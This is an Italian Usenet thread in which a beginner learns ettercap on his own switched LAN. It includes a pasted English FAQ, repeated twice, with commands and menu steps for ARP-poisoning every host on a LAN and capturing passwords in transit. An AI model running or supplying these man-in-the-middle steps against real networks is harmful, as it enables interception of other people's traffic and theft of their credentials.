Newsgroup: it.comp.reti.locali
Titolo: niubbo ed ettercap

Salve a tutti,
Sto provando di capire il funzionamento di ettercap.
mi sono creato una rete con uno switch cisco.
passando dallo switch si possono raggiungere 2 sottoreti.
il mio client è nella sottorete
XXX.XXX.123.XXX
analizzando gli host vedo solo quelli relativi alla mia sottorete e non
riesco a rilevare il tipo si SO che usano.
inoltre non ho visibilità delle altre 2 sottoreti
XXX.XXX.234.XXX
XXX.XXX.56.XXX
Ho cercato documentazione in internet, ma il mio scarso inglese e la poca
dimestichezza con le reti (un paio di corsi base e un poco di pratica) non
mi aiutano....
Qualcuno saprebbe indirizzarmi la strada giusta?
Grazie
Orso

Sto provando di capire il funzionamento di ettercap.
Ho il tuo stesso problema, non riesco a capirne il funzionamento.
Uso la versione  NG 0.7.2 per win
Saluti
Alessandro

 
Ettercap utilizza ARP di conseguenza se vuoi vedere
piu' di una subnet non devi usarlo da un client ma 
installarlo nel gateway e da li vedrai tutti i client
presenti in tutte le subnet con le quali quel gateway
dialoga direttamente.
Ciao
Leandro
-- 
http://www.logiman.com
chat irc per sistemisti

Grazie, dopo varie prove sono riuscito a farlo funzionare!
non mi è chiaro ancora come analizzare tutto il traffico, ma spero di
risolvere!
è possibile creare disservizi utilizzandolo?
gli switch possono incasinarsi o la sua attivazione disattivazione è
completamente trasparente?
Per ora sono riuscito a vedere il traffico HTTP, qualcuno sa spiegarmi
come vedere quello SSH?
Dal manuale sembra essere in grado di "vedere" tutto, la mia paura è:
può anche "decrittare" SSH?
Grazie a tutti per l'aiuto!

 č completamente trasparente?
no


Per ora sono riuscito a vedere il traffico HTTP
E che fai, non ci dici come hai fatto?
Ciao
Alessandro

Sulle FAQ ho trovato
un passo passo, l'ho seguito pedissequamente...
non sono ancora convinto di averne capito il funzionamento...
Ciao
Orso
"
This FAQ entry explains simply the steps to take to get going with ARP
Poisoning and password capture. This FAQ entry does not discuss SSH/SSL. 
Please also note that at the time of writing this FAQ entry does not relate to the unofficial Windows binaries. 
EDIT: It works under Windows, but isn't necessarily supported  
Text mode: 
This is the easiest to use (and I think the easiest on the eye!). To ARP Poison the whole LAN, capturing passwords as you go, use: 
# ettercap -Tq -M arp:remote // 
T = Text mode 
q = quiet - without this you'll see the raw packets which can be noisy and annoying. 
M = Man-In-The-Middle 
arp: = ARP Poisoning 
remote = forward packets destined for the WAN (Internet, whatever) 
// = Empty target specification; i.e. all hosts 
Use 'q' to quit. 
If you want to only do hosts 10.0.0.3, 10.0.0.5, 10.0.0.6 and 10.0.0.7 then you could use: 
# ettercap -Tq -M arp:remote /
10.0.0.3
,5-7/ 
or 
# ettercap -Tq -M arp:remote /
10.0.0.3/
 /10.0.0.5-7/ 
Curses mode: 
This is the one with the cursed interface. Use: 
# ettercap -C 
and then select the following options: 
Sniff->Unified Sniffing 
eth0 (or whatever you i/f spec is) 
Hosts->Scan for hosts 
Start->Start Sniffing 
Mitm->Arp poisoning 
remote 
View->Connections 
Mitm->Stop Mitm 
Start->Stop Sniffing 
Start->Exit 
to quit. 
GTK+ mode: 
This is the one with the GTK+ interface. Use: 
# ettercap -G 
Then follow the same steps as for the Cursed interface. 
Kev
_________________
_Please_ don't play on other people's networks; you wouldn't like it if they played on yours...This FAQ entry explains simply the steps to take to get going with ARP Poisoning and password capture. This FAQ entry does not discuss SSH/SSL. 
Please also note that at the time of writing this FAQ entry does not relate to the unofficial Windows binaries. 
EDIT: It works under Windows, but isn't necessarily supported  
Text mode: 
This is the easiest to use (and I think the easiest on the eye!). To ARP Poison the whole LAN, capturing passwords as you go, use: 
# ettercap -Tq -M arp:remote // 
T = Text mode 
q = quiet - without this you'll see the raw packets which can be noisy and annoying. 
M = Man-In-The-Middle 
arp: = ARP Poisoning 
remote = forward packets destined for the WAN (Internet, whatever) 
// = Empty target specification; i.e. all hosts 
Use 'q' to quit. 
If you want to only do hosts 10.0.0.3, 10.0.0.5, 10.0.0.6 and 10.0.0.7 then you could use: 
# ettercap -Tq -M arp:remote /
10.0.0.3
,5-7/ 
or 
# ettercap -Tq -M arp:remote /
10.0.0.3/
 /10.0.0.5-7/ 
Curses mode: 
This is the one with the cursed interface. Use: 
# ettercap -C 
and then select the following options: 
Sniff->Unified Sniffing 
eth0 (or whatever you i/f spec is) 
Hosts->Scan for hosts 
Start->Start Sniffing 
Mitm->Arp poisoning 
remote 
View->Connections 
Mitm->Stop Mitm 
Start->Stop Sniffing 
Start->Exit 
to quit. 
GTK+ mode: 
This is the one with the GTK+ interface. Use: 
# ettercap -G 
Then follow the same steps as for the Cursed interface. 
Kev
_________________
_Please_ don't play on other people's networks; you wouldn't like it if they played on yours...
"